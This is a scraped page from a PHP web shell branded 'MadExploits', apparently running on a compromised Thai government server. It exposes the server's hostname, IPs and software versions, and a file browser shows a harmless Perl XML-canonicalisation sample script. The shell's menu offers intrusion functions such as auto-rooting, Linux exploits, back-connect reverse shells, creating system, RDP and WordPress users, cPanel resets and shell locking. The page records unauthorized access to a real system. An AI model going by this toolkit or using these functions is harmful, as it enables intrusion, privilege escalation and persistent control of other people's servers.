Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-XML-Parser-2.36 /
samples /
[ HOME SHELL ]
Name
Size
Permission
Action
REC-xml-19980210.xml
155.63
KB
-rw-r--r--
canonical
2.5
KB
-rw-r--r--
canontst.xml
510
B
-rw-r--r--
ctest.dtd
71
B
-rw-r--r--
xmlcomments
687
B
-rw-r--r--
xmlfilter
5.44
KB
-rw-r--r--
xmlstats
3.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : canonical
#!/usr/bin/perl -w # # Copyright 1999 Clark Cooper <coopercc@netheaven.com> # All rights reserved. # # This program is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. # # $Revision: 1.1.1.1 $ # # $Date: 2003/07/27 11:07:11 $ # # This program take an XML document (either on standard input or # from a filename supplied as an argument) and generates corresponding # canonical XML document on the standard output. The definition of # "Canonical XML" that I'm using is taken from the working draft # published by W3C on 19-Jan-2000: # # http://www.w3.org/TR/2000/WD-xml-c14n-20000119.html # # The latest version of this document is at: # # http://www.w3.org/TR/xml-c14n # use XML::Parser; my $indoctype = 0; my $inroot = 0; my $p = new XML::Parser(ErrorContext => 2, Namespaces => 1, ParseParamEnt => 1, Handlers => {Start => \&sthndl, End => \&endhndl, Char => \&chrhndl, Proc => \&proc, Doctype => sub {$indoctype = 1}, DoctypeFin => sub {$indoctype = 0} } ); my $file = shift; if (defined $file) { $p->parsefile($file); } else { $p->parse(*STDIN); } ################ ## End main ################ sub sthndl { my $xp = shift; my $el = shift; $inroot = 1 unless $inroot; my $ns_index = 1; my $elns = $xp->namespace($el); if (defined $elns) { my $pfx = 'n' . $ns_index++; print "<$pfx:$el xmlns:$pfx=\"$elns\""; } else { print "<$el"; } if (@_) { for (my $i = 0; $i < @_; $i += 2) { my $nm = $_[$i]; my $ns = $xp->namespace($nm); $_[$i] = defined($ns) ? "$ns\01$nm" : "\01$nm"; } my %atts = @_; my @ids = sort keys %atts; foreach my $id (@ids) { my ($ns, $nm) = split(/\01/, $id); my $val = $xp->xml_escape($atts{$id}, '"', "\x9", "\xA", "\xD"); if (length($ns)) { my $pfx = 'n' . $ns_index++; print " $pfx:$nm=\"$val\" xmlns:$pfx=\"$ns\""; } else { print " $nm=\"$val\""; } } } print '>'; } # End sthndl sub endhndl { my ($xp, $el) = @_; my $nm = $xp->namespace($el) ? "n1:$el" : $el; print "</$nm>"; if ($xp->depth == 0) { $inroot = 0; print "\n"; } } # End endhndl sub chrhndl { my ($xp, $data) = @_; print $xp->xml_escape($data, '>', "\xD"); } # End chrhndl sub proc { my ($xp, $target, $data) = @_; unless ($indoctype) { print "<?$target $data?>"; print "\n" unless $inroot; } } # Tell emacs that this is really a perl script #Local Variables: #Mode: perl #End:
Close